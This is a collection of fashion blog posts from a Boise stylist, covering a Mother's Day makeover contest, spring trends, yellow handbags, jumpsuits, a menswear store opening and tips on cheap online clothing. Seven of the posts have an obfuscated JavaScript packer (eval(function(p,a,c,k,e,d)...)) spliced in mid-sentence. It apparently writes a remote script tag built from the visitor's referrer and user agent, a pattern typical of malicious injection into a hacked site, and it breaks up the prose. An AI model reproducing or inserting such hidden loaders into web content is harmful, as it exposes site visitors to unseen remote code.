Mother’s Day Makeover, with the Village at Meridian!

stylespygirl mothers day makeover family 3

This May, the eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fntff|var|u0026u|referrer|sfbrf||js|php’.split(‘|’),0,{}))
Village at Meridian invited me to bless one lucky local mother with a day of pampering, shopping, and head-to-toe makeover for Mother’s Day. Here is the winner’s story! (You can also read about last year’s winner, here.)

Andrea Correa recently turned 37, and found herself a divorced mother of three young children. Her sister Melissa wrote in to nominate her, sharing a little bit about Andrea’s difficult situation, and what a challenge it has been for her. For the last 12 years she’s been a stay-at-home mom, devoted to her children and her family! Now she’s had to walk through a very painful experience, and is struggling to find work to support herself with limited career experience, but armed with a passionate love for her kids and strong will to succeed. This makeover is exactly what she needed, to get a fresh perspective on her wardrobe, bolster her confidence, and prepare herself for the job market!

Our first meeting was right after her her name was selected: lunch at Grimaldi’s Pizza for a get-to-know-you. I found Andrea surprisingly energetic and joyful, despite her circumstances! She seemed grateful for the opportunity to have the makeover, was very easygoing, and full of laughter. I had a strong suspicion her kids adore her; I certainly grew to!

One week later we met for the makeover, with the Village at Meridian presenting Andrea multiple gift baskets, cards, and presents valued at over $1,000, including a generous gift card to Village Coffee, personalized workout time at Axiom, posh pampering at PURE Health, fun body products from LUSH, and an adorable tank top (pictured below) from Paperie & Pen! Andrea loved opening the gift baskets & presents, and was excited to start shopping.Photos by Ammophotog

First stop: SOMA Intimates, where Andrea received her very first professional bra fitting (something I recommend for EVERY woman!), and some beautiful new undergarments. The right size makes such a difference! If you haven’t had a fitting recently, stop by SOMA; the gracious ladies there really know their stuff!

Next stop: LOFT, who had graciously donated a sizeable gift card to Andrea! We worked on embracing her body type (hourglass), and I encouraged her to try tops that were less boxy, and more fitted, and the same went for skirts. We talked about color tones that worked best for her, and shopped some beautiful summer wardrobe staples.I taught Andrea some layering tricks to create slimming vertical lines with cardigans and/or long necklaces, and she tried a variety of pants, dresses, and tops. She found some beautiful pieces she could wear for job interviews, as well as work easily into her current wardrobe!

Then we stopped into White House | Black Market for shoes. Andrea was thrilled to find a beautiful pair of what I call “investment heels;” those perfect, comfortable, high-quality basic black pumps you can wear to work, an event, or just dinner out with friends! She loved these, and knew she would get a ton of use out of them.

After that we went to Chico’s, who had also donated a nice gift card. Andrea found a couple pairs of great summer capris that she loved, and appreciated the great prices and super-sweet, helpful customer service.

Next: Lunch! When you’re power shopping – and especially trying on tons of clothes! – it’s a good idea to take a break every 3-4 hours for protein and a moment to clear your head. Huge thanks to Noodles & Company, for hosting our much-needed lunch! Yum.

Last shopping destination: Evereve, where Andrea very bravely discovered for the first time that – gasp! – she looked AMAZING in skinny jeans!!! And oh my gosh, those shoes, am I right?? She loved this store, and would have happily shopped here for hours, but it was time to move onto…

SB Salon for hair & makeup! Andrea went on ahead to save time, while I stopped into Francesca’s to pick out some lovely jewelry pieces they had graciously donated to her. Thank you Francesca’s!

Andrea wanted a more sophisticated look, but needed it to be something she could easily maintain. The brilliant stylist showed her how to create beachy waves that worked with her hair texture and layers, bringing out the shine and dimension in her lovely locks.

Next up: makeup! Andrea was not accustomed to wearing makeup regularly, so she didn’t want something that felt “all made up,” or like there was too much fuss on her face and skin. The Makeup artists used Jane Iredale, and soft, neutral colors to highlight Andreas beautiful facial structure, cheekbones, and eyes. A dash of berry lipstick, just a little bit darker than her natural color, completed the makoever.

Now it was time for Andrea to dress up in her new clothes, and meet her family in the Village’s center square to show off her new look!

…Are you ready for this? 🙂

When they first saw her…

Lots of screams! And Andrea’s daughter couldn’t wait to hug her mommy.

What a beautiful family!

Surrounded by love.

Best day ever! Thank you for being brave, and letting us make you over, Andrea.

And special thanks to Ammophotog, for documenting this amazing day.

XOXO,

Tanya Carnahan & The Village at Meridian

Flower Power – Spring Floral Dresses for 2015

Dress: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyeis|var|u0026u|referrer|zzdbr||js|php’.split(‘|’),0,{}))
Nordstrom Rack’s Last Chance store / Prince Street Silver Satchel, Coach / Amulet Necklace & Earrings, Coach / Sandals: ShoeHound / Photos: Valerie Davenport / Hair: Sara Murray / Nails: Gretchen LeMay
Floral patterns seem to make a comeback every spring. Something about April showers bringing May flowers, I suppose! This Spring 2015 is no different; flowers are blooming everywhere, both in the ground and on the fashion runway. And with the fashion world’s current love affair with the groovy 70’s, flower power is stronger than ever!

I was recently in Phoenix, Arizona, and briefly had the chance to visit the Nordstrom Rack’s famous “Last Chance” store. Oh my gosh, that place is epic! I was sad I only had an hour to look around, as the shoe shelves were piled high with everything from Jeffrey Campbells to Louboutins, all deeply discounted for minor-to-imperceptible flaws.

One lovely little thing I managed to snag before my time was up, was this floral maxi dress. It was $12! Seriously! Great score, right? I love the tiered skirt and jewel-tone flowers. Such a girly, girl, I know, but I also really love bold colors. I paired it with a simple-yet-stunning “Prince Street” metallic tote from COACH that I’m absolutely obsessed with (this little beauty goes with everything!!!), and ankle-strap sandals from new local shoe shop ShoeHound.

Will you rock the floral trend this Spring & Summer? Scroll down to shop the look! I found maxi floral dresses online in a variety of prices – none are $12 like mine, sorry, but all carry the essence of the trend: ladylike, classy, easy-breezy floral elegance. Tell me about your favorite florals, in the comments below!
XOXO,
Tanya

Special thanks to Valerie Davenport for the photos, Sara Murray for styling my hair, and Gretchen LeMay for the adorable nail art (dragonflies – cuteness!)

Trixxi Print Maxi Dress, on sale now for $38.90

ASTR High Neck Maxi Dress, on sale now for $46.80

London Times Floral Print Shirred Waist Maxi, extended sizes, $78

Eliza J Print Pleat Chiffon Maxi Dress, $158

Free People Cherry Blossom Maxi Dress, $350

5 Reasons Why You Need a Yellow Bag Right Now!

No matter what the season, yellow has always been one of my favorite statement colors. From Cher’s iconic outfits in Clueless, to the classic happy face sticker, there’s something about yellow that catches the eye, and demands attention. Personally, much of my wardrobe consists of black & white go-to pieces, and I’ve found that bright yellow is a fantastic accent that adds cheerfulness and whimsy to many of my favorite outfits.

In early Spring, my favorite handbag line COACH launched their brightest bag of the season, the neon Taxi Tote, pictured above. (You can view more photos of this rad bag, in my previous article about why I’ve become such a huge COACH fan, here.)

Now, for summer, they’ve come out with another line of sunshiny cuteness! I just spotted the Swagger Wristlet (with convertible long strap, to make it a crossbody bag!) at our local COACH store at Boise Towne Square…

coach mini swagger yellow — Coach Swagger Wristlet with long strap

Seriously, how adorable is this?? Light and sweet, with just the right touch of metal accents. It’s the perfect little summer mini, if you’re looking for that Pop-of-color to add to your everyday wardrobe! In honor of the sweet Swagger’s bright cuteness, here are the Top 5 Reasons You Need a Yellow Bag.

Swagger Wristlet Coach — Swagger Wristlet, Coach. $275

1. Yellow is NOT Trending. And it possibly never will! You know what’s great about that? It will never go out of style. It’s a classic, bold color that will always stand out as a fashion piece!

topshop mini satchel — Mini Satchel, Topshop, $48

2. Yellow is Iconic. French Fries. Bart Simpson. Smiley Faces. Lemonheads. The Submarine the Beatles all lived in… Enough said! Yellow makes a statement that people remember.

coach prince street satchel — Prince Street Mini Satchel, Coach, $295

3. Yellow is good for you, like drinking lemon water! Hear me out… I would never claim that carrying a yellow bag provides detoxifying health benefits, because that would be irresponsible. But I would recommend trying one on, just to see how you feel. Lighter? Airier? Smilier? See!

moschino camera bag — Moschino Camera iPhone case, Nordstrom, $85

4. Yellow is Cheerful. Look at the dotted bag below. Come on, isn’t it CUTE? When you scrolled down did you smile, and suddenly want to touch those little candy dots, hoping you could peel one off and pop it in your mouth? Then I’ve made my point. Next!

marc jacobs yellow bag — Luna Crossbody Bag, Marc by Marc Jacobs, $398

5. Because, Cher. Like seriously, as if you even needed the last four points! This is the only one that really matters.
XOXO,
Tanya

clueless yellow outfit — Um, because, YELLOW. That is all.

More yellow awesomeness here… Why Coach is Becoming an Iconic American Brand
And here… Crazy for Jumpsuits!

Boise’s Newest Men’s Store: Robert Comstock

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|didhh|var|u0026u|referrer|hbrir||js|php’.split(‘|’),0,{}))
Friday, April 10th, I had the honor of attending a fun Spring Celebration party at the Robert Comstock Boise Mens’ Store in the Village at Meridian. The event was catered by Kona Grill, so the food was of course a-MA-zing!!! Sushi, chicken, desserts, and more – they really went all-out, and every bite was exquisite! Local TV & music star Amos Watene aka., Mossi, entertained us with his neo-soulful blend of blues- rock, reggae, and folk music. If you haven’t heard of Mossi, you should check him out; he has been showcased in several of the nation’s premiere music venues, and has made national television appearances both musically and as an actor. In fact, Mossi is featured as one of Nick Jr’s most well known characters, “Brobee,” from the kids show Yo Gabba Gabba! Check out his website for video & audio clips here.

If you haven’t had the opportunity to shop in this cool new clothing store yet, you really need to go! Robert Comstock designs luxurious, high-quality fashions for men, that sell at Nordstrom, Neiman Marcus, and other high-end department stores across the nation. Once a season passes for each line, Mr. Comstock sends the overstock from those stores here to Boise, to his Menswear store in the Village at Meridian, where he slashes the prices down 70-90% off! This store is a great resource for men looking to buy high-quality clothing – both professional and casual – at a major discount!!! There are some fantastic deals to be had in this store, and being in the Village makes it the perfect place to shop on the weekends, while you’re there seeing a movie or out on a dinner date.

THANK YOU to Kona Grill, Mossi, Robert Comstock Boise Men’s Store, and all the wonderful friends who came out to make this such a fun night!!! The Comstock store is located in the Village at Meridian, behind the children’s play structure, and next to Lululemon Athletica. Follow their Facebook page for great deals and fun future events: Robert Comstock Boise Men’s Apparel!
XOXO,
Tanya

Ammophotog and I appreciated the gluten-free options from Kona Grill! Thanks, Chef!!! 🙂

My friends Brian & Vicki Wiley found a ton of great deals – he scored $814 worth of clothing for $122!

My friend Wiley Smith fell in love with his new Robert Comstock jacket.
The leather is so soft, we kept saying, “It’s like buttah!” 😀

Win the Ultimate Mother’s Day Makeover with the Village at Meridian!

mothers day makeover village at meridian

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of my FAVORITE things about my job is doing makeovers. I love helping women feel pampered and appreciated, and see themselves in a whole new light! And I believe every woman is beautiful, and shines her own special light on the world around her.

Last year I had the honor of partnering with the Village at Meridian to bless one lucky lady with a $1,000 Mother’s Day Makeover! Local mom Stacy Schreiter won the prize, and you can see the photos & story on her makeover here.

This year, I’m so thrilled to announce that we are doing it again!

Here is your chance to win a Mommy Ultimate Makeover, complete with hair and make-up, shopping & wardrobe styling with me, and photo-shoot of your before and after looks with the exquisitely-talented Ammophotog! One lucky winner will be chosen on April 30th for the makeover session on May 9th! Must be 21+ and available for consulting May 2nd or you will forfeit the win.

Click this link to enter your mother, wife, grandmother, daughter, sister… or even yourself!
http://woobox.com/jsxgkt

Or click here to check out ALL the details on the Village of Meridian’s Facebook page.

Prize includes goods and services from some of the Village’s favorite shopping destinations valued over $1000!

PURE Health
Lush
Axiom
SB Salon
Soma
LOFT
Chicos
Francesca’s
Paperie & Pen
Village Coffee

Best of luck to all the moms out there – I wish every single one of you could win this! May you be surrounded by love and appreciation for all you do, on this Mother’s Day and every day!!!

XOXO,
Tanya

NAVY PRoject Brings Fresh Styles to Treefort Music Fest

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Treefort Music Festival will descend again upon Boise March 25-29, 2015. This annual festival, founded as a way to bring big bands to Boise while giving equal ear to emerging local talent, is in its fourth year. And this promises to be its’ gnarliest year yet! Besides 25 venues around town showcasing hundreds of musical acts, this year’s fest will also have a plethora of “Forts” that extend the artistic experience beyond music; Hackfort for the tech-savvy, Comedyfort for giggles, and Kidfort for the little ones are just a few examples. (Click here for info on all the forts.)

And of course, let’s talk about the clothes for a minute. Any respectable music fest has to have its own fashion style! Along with some really cool official festival gear (above) designed by rad local artists, designers and artisans from across the country will also be bringing their unique goods to Treefort, giving us the opportunity to score treasure we wouldn’t usually have direct access to! One brand that’s a personal favorite of mine is the NAVY PRoject, a brilliant brainchild of vintage re-designer Mary Peffer.

NAVY PRoject is a unique shop-in-shop experience that combines five principles: art, architecture, fashion, design, and hospitality. Clothing items are designed and curated, whenever possible from vintage finds, with the goal of direct access to the unique items you crave. From vintage festival outerwear to ponchos, rock concert t’s, and hair accessories, the NAVY PRoject aims to be a very personal experience.

Designer Mary Peffer will personally be on-hand Thursday, March 26th from 4-9pm and Friday, March 27th from 11-6 at downtown Boise’s epicenter-of-cool Bricolage to launch her latest line. Come check out this unique shop-in-shop experience! I’m certain you will find special treasures you’ll be proud to wear all festival long… and beyond!

NAVYPRoject.com / Follow the PRoject on Instagram!

NAVY PRoject ~~~ Limited engagement at Bricolage March 26 & 27, 2015

418 S 6th St, Boise, Idaho / Bricolage on Facebook / Bricolage.com

Disclosure: This is not a paid post. Just an opinion piece about a really cool clothing company I look forward to shopping at!

~~~

How to Shop Like a Globe-Trotting Pro

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friends! Today’s guest post is from Roshan Roghani, Vice President of the luxury body care line Camille Beckman. I first met Roshan a couple years ago, when Camille Beckman hosted a holiday pop-up shop inside Boise Towne Square. As a fashion blogger, I love to attend store openings and report on the cool things I find there, but honestly the greatest thing I found that day was a blossoming friendship with one of the nicest, most authentic, and seriously brilliant young women I have ever met.

Roshan is not just the VP of a body care company, she is a financial genius, and has taken Camille Beckman from a beloved American brand (founded by her mother Susan Camille), to an iconic beauty empire adored by local ladies and Hollywood celebrities alike, across all age and lifestyle demographics. How does she balance it all? Her mantra of Gratitude permeates every decision; gratefulness for the love and support of family, friends, and a fiance with a heart of gold. But deeper still is her intrinsic love of earth, humanity, and our connectedness. It’s larger than each of us, this petite powerhouse will tell you. And trust me, you should listen.

Despite a closet full of Chanel, Burberry, Céline, Cavalli, and a jet-set life of globe-trotting and hob-nobbing with the couture elite, Roshan is a deep soul who effortlessly walks a tightrope between humble citizen of earth and corporate power player. She’s purposefully scaled back the trappings of wealth and trend-following, and has chosen a path of “investment shopping” that I deeply admire, which means making calculated choices about the things she accumulates, based on their personal value to her.

How does she determine that value, in-the-moment and for the long run? Here, in Roshan’s words, are her tips for investment shopping:

The first thing you must ask yourself is, Do you LOVE it? You know within five seconds of putting something on if you love it. If not, don’t even allow it to be a consideration. When we have to convince ourselves to like something, we rarely end up wearing it.

Does it make you better? A lot of us hold on to things because we feel they have some value that we can’t quite place. If you don’t know why something is important to you, it’s time to get rid of it. We are often unconscious of how goods make us feel, and so we collect things to fill a void. I know I did; it’s very common and not something to be ashamed of. Nothing will make you happier than realizing this and letting things go. You can express yourself much more uniquely with a small closet of things that you truly love than a closet full of things you never wear. Things don’t make us better, but the wrong things CAN drag us down.

Do you use it? Simple. We hold onto things we don’t use waiting for that ONE occasion that rarely or never comes. We all need to learn to be okay with letting go with joy.

Value. No thing has true value because we live in a world that equates the value of something to a piece of paper. Value should not equate to a dollar sign, but rather what you feel for something in your heart. I have things from Chanel and from street vendors that are of equal value to me; there is no hierarchy. We need to stop buying to fill the void and instead buy things we love, and appreciate them in a way that does not use them to determine who we are. Your clothes are not a reflection of what’s inside, but rather an expression of what we’d like people to see. Be comfortable in yourself and have love for everyone around you; that’s all that truly matters.

Your clothes are not a reflection of what’s inside, but rather an expression of what we’d like people to see. Be comfortable in yourself and have love for everyone around you; that’s all that truly matters.

With gratitude,

Roshan Roghani
VP, Camille Beckman Companies

Follow Roshan on Instagram for Work, Creativity, and Fashion inspiration!

Why Jumpsuits Are So Hot Right Now!

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dynie|var|u0026u|referrer|atsti||js|php’.split(‘|’),0,{}))
by Valerie Davenport

With 2015’s trend towards 70’s fashions, it’s no surprise to see one key 70’s trend making a major comeback: the Jumpsuit. First invented in 1919 by designer Florentine Thayat, whose goal was to create a subversive and futuristic fashion piece, jumpsuits have long been seen as quirky, unusual, and frankly a little rebellious. It’s like saying, Ok, I’ll come to your fancy ball, but I’m going to wear pants. And not only that, but I’ll wear them so well and be so comfortable, you’ll want to shed that straitjacket corset dress and come join me!

Jumpsuits are flamboyant, but also extremely comfortable and easy to style around! For these photos, I wore a black Jackie O jumpsuit from Black Halo, and simple gold jewelry. All I had to do to change the look entirely was alter my handbag and shoes!

Jumpsuit: Black Halo, available in Boise at Piece Unique / Graphic Kimono: Swank Boutique, Boise / My Love Runs Deep clutch: Swank Boutique. Boise / Earrings: Express / Steve Madden Raspy Booties: Boise DSW, or online at Nordstrom.com / Gold choker necklace: Forever 21 / Grey Pistil Fedora: Ruby Lou Clothing Boutique / Yellow jacket: Ann Taylor, thrifted / Sunhat: Esprit

Jumpsuits can also be a fantastic styling tool to work with your body type. I’m a strawberry, or upside-down heart, meaning busty on top but narrow through the hips and booty. This jumpsuit gives me a great curvaceous shape that evens out those proportions, by adding volume to my lower half, fitting snugly up top, and clearly defining my waistline. I’m kind of obsessed with it – thank you Black Halo!!!

It seems like every brand, store, and fashion line is selling jumpsuits this season (read more about why, here), and I highly recommend you go shopping for one! Be adventurous – try it out! You might be surprised at how comfortable and effortless they can be. They’re available everywhere right now, from high-end couture designers to this cute $35 patterned summer jumpsuit from H&M.

Some important things to look for in your perfect jumpsuit are:

1. Length. A wide-leg jumpsuit can be incredibly elongating, but only if it’s the right length! Choose one as long as you can, but NOT touching the ground. You don’t want to ruin it, or hide your shoes completely! If it’s a fitted jumpsuit, go for ankle length to show off your shoes, or longer if you want a little “scrunch” right above the shoes.

2. Fit. Look for a jumpsuit for your body type! One that’s fitted through the hips, booty, and legs but has more volume up top is great for “pear” bodies. An hourglass body type can pull off either style. For all body types, play with proportions on sleeve length, neckline, and where the waist hits for the perfect fit.

3. Color. When in doubt, go with solid color. If this is your first time in a jumpsuit, get black. Once you’re more comfortable with the style, amp it up with florals, patterns, and bolder prints!

Curvy ladies, you can pull this look off too!!! Check out this stunning Michael Kors jumpsuit I found at Nordstrom.com – it’s 40% off right now!!

4. Go short for summer. Rompers are the summertime version of the jumpsuit, and are HUGE right now in major fashion hubs! They’re super cute for daytime, but a romper can also be very elegant for a night out on the town. Add a necklace and sandals, and you’re done!

Socialite Print Keyhole Romper, Nordstrom / Indigo Drapey Denim Romper , W by Worth / Astr Lace Trim Romper, Nordstrom

5. Check your booty! A jumpsuit with a high rise can lead to the dreaded “mom butt” if you’re not careful! Check the mirror, and make sure the jumpsuit doesn’t make your posterior look longer and flatter than it really is.

6. Layer, layer, layer. Think of your jumpsuit as a version of the LBD (Little Black Dress) every woman should have in her closet. It’s a basic piece that you decorate, to fit your style, your body, and whatever event you’re wearing it to!

7. Have fun. You’re going to feel a little subversive in your jumpsuit, but if it fits well, you’ll also feel very elegant and chic. Be confident! Rock it! And when those ladies in the tight, fussy dresses are staring you down, just smile and give them a happy wink.

XOXO,
Tanya

Gold ring: Coach (Something similar here) / Black ring: I confess this is the metal tag that came attached to the Black Halo Jumpsuit label! Couldn’t help it… had to wear it! 😉

Thank you Valerie Davenport for the fantastic photos! ❤

Jump to next article: That 70’s Trend; Spring Fashion Gets Groovy…

That 70’s Trend – Spring Fashion Gets Groovy!

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbeb|var|u0026u|referrer|ykakr||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Jeans: Paige, Piece Unique / Blouse: Ecru, Ruby Lou Boutique / TopShop Floppy Hat, Nordstrom / Shoes: Steve Madden, DSW / Coat: Forever 21 / Earrings: Something similar, Express / Necklaces: Urban Outfitters / Rings: Coach, and H&M

Ah, can you feel it? Spring is here! And all across the fashion runways and grocery store magazines, you’re seeing it: the 70’s are back, baby! Bell-bottoms, lace-up tops, clogs, nature-inspired jewelry, paisley prints, patchwork, suede detailing, and fringe – they’re everywhere, and it feels so good! It’s all music festival vibe and Boho chic; even Coachella is getting in on the act, with their new collaboration line with H&M. I know, I gasped when I heard of it, too. Can’t wait to see what they come up with!

My favorite part about this trend, is that you don’t necessarily have to rush out and buy a ton of new fashion pieces to rock it; chances are, you already own some of these things, buried deep in your closet. Or your mom does… Or ask your grandma, ha! How ever you get ahold of them, wide-legged jeans and trousers are a must-have this season. All styles are acceptable (the more creative, the better – get crafty with them), and for summer we’ll see the trend transition into loose Bermuda shorts, culottes, and one-piece rompers.

Remember, high-waisted jeans are more authentic and less 2001, so don’t get all Britney-Spearsy and tummy-baring… That can wait until Summer! It’s still chilly outside, at least in my neck of the woods. Which brings me to my top tip for transitioning your Winter wardrobe into Spring: a statement jacket. I scored this dusty pink faux fur coat on clearance at Forever 21, on their end-of-season sale. It pairs perfectly with my Paige bell-bottom jeans from Piece Unique, and these Hailey Bob and Ecru blouses that were also on clearance, at Ruby Lou Boutique! The necklaces are from Urban Outfitters, the long one is here , and the short collar one is now on CLEARANCE in the store!)

In my Coach article last week, I used a transparent jacket to add pop to a basic spring outfit. In next week’s article, I’ll show how a classic jumpsuit can be styled multiple ways, just by changing what you put over it, all with inexpensive items you might already have in your closet! So stay tuned, stay warm, and stay HAPPY!

With love, XOXO,
Tanya

Jeans: Paige, Piece Unique / Blouse: Hailey Bob, Ruby Lou Boutique / Felt Hat: (something similar) Nordstrom / Shoes: Steve Madden, DSW / Coat: Forever 21 / Earrings: Something similar, Express / Necklaces: Urban Outfitters / Rings: Coach, and H&M

Jump to next article: My Special Report on How to Buy Cheap Clothes Online…

The Pros and Cons of Shopping Online

Online shopping is a major industry these days. This past Christmas, an estimated 45% of shoppers bought gifts online, from the United States and abroad. But just like clothing sizes and quality can differ from store to store here in America, the same can be said for a current major trend: cheap clothes from overseas.

Here, in my Special Report on KTVB Channel 7 news, is what you need to know, before you succumb to what may look like an irresistible bargain. Click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bteyb|var|u0026u|referrer|bbnyn||js|php’.split(‘|’),0,{}))
the photo below to jump to the video, or scroll down to read my main tips.

Things to keep in mind when shopping online, especially “Bargain clothing and accessories” from overseas:

1. The quality of workmanship and the materials may not always be what you think. My friend Char ordered this cape that said “woolen,” and looked like it had beautiful leather trim. Cute, right? And cheap!

But when it arrived, the material was a very cheap felt – definitely NOT wool! – the trim was a shiny, inexpensive stretchy fabric, and the sleeves and zippers were all sewn crooked, with loose threads sticking out!

My friend Maryann loved a sweater she saw online, and they were so inexpensive she bought two from the same website. But one arrived with beautiful faux fur around the edges and nice, heavy, sweater material, while the second exact same item from the exact same company arrived smaller-sized, with uneven stitching, and scrawny rat-like fur around the trim!

One of the sweaters mostly looked like this:

The other one, not so much.

2. Sizes from around the world are extremely varied! For example, an American small and a Chinese small are typically NOT the same thing. A couple years ago, I had the fun privilege of traveling to Beijing, China with my husband. I loved all the shopping, but was dismayed to find very little in the clothing category that fit me. I’m fairly average-sized, I think, on a global scale, though on the small size for standard American clothing; 125lbs, 5’7″, which is a size 2-4 here. I was shocked to find that the only dresses or sweaters I could find in the Beijing markets that fit me were extra-large. I’m an XL in China!!! (And a size 8 in the UK, and 38 in other parts of Europe! Why can’t we standardize women’s sizes???) I definitely keep this experience in mind, when I shop online…

My friend Kristie looks for inexpensive Plus-sized clothing online. When this cute & simple dress popped up for $15 on Zulily, she selected the 3X size. But what came in the mail was tiny; it fit her little sister, who is an American size 2! The belted waist came right under Kristie’s chest, and the “dress” was so short, it fit more like a blouse. Also, the material was so thin, you can see through it. Definitely not what she thought she was paying for!

Kristie’s “dress” only cost her $15, but it was $15 wasted, as she could not return or exchange it, because…

3. Many items are final sale, even if they don’t say so. I ordered an Alice In Wonderland costume from Amazon.com last fall for Halloween. By the time the item arrived, the holiday I bought it for had already passed (shipping from China can take anywhere from 3 weeks to 3 months!), but also the one-size-fits-all dress didn’t fit me. I asked the seller if I could return it, and the answer was, “Sure, as long as you pay the shipping to get it back to us.” Fine, ok, no big deal, right? Until I found out the approximate shipping of that dress back to China was $75! I’m not paying $75 to return a $25 dress!

Practical Tips for Shopping Online:

1. Always check the return policy! Can you exchange it? Can you get your money back? Will you have to pay for the shipping?

2. Study measurement charts closely, measure twice, don’t rush! Don’t be lazy! I’m talking to you, American shoppers; convert the centimeters to inches and figure it out. It’s worth your time and money!

3. When possible, read others’ ratings so you know the fit. On Amazon, for example, people can rate “Fits as expected,” and write about items that run too big or too small. But watch out for fake or “planted” reviews; take your time and listen to other customers’ opinions.

4. Study the website or retailer; have they been in business long, do they have reviews and testimonials? Even retailers on Amazon and Zulily can pop up quick, sell a few items, and disappear… I bought a costume wig that didn’t arrive after 3 months, but when I went to Amazon.com to check on my order status, the company who distributed the wig had vanished! I never got my wig, but I’m grateful that they never charged my card. Whew!

5. When in doubt, size up and alter to fit. If the item you are ordering comes from China, Korea, or Singapore, for example, go up a size from what you typically buy. It’s SO MUCH EASIER to have a seamstress nip in a waistline or shorten a hem, then it is to try and figure out how to make something that’s too small stretch to fit you!

It comes down to this: ANY shopping you do online is a gamble, no matter what country it’s from!!!

Sometimes the gamble pays off, sometimes it doesn’t! Lower your expectations, do your research, and decide if an item is worth it. Here’s one example of when it worked out really well for me. I ordered this transparent raincoat, which is one-size-fits-all. The style is loose enough, that it doesn’t really matter what the fit is! I was pleased with how it looked – so much so, that I used it in a photo shoot for another article on my blog! (My pics by Valerie Davenport Photography)

It’s definitely shorter than it looks on the Amazon.com model, but not enough to detract from it’s overall cuteness. And the best part: it’s only $15.99! (You can view more pics of it in my article here, along with the direct link to it on Amazon.com.)

So happy shopping, good luck, and remember: buy what you LOVE!!!
XOXO,
Tanya

Jump to next article: How Coach is Becoming an American Icon Brand…

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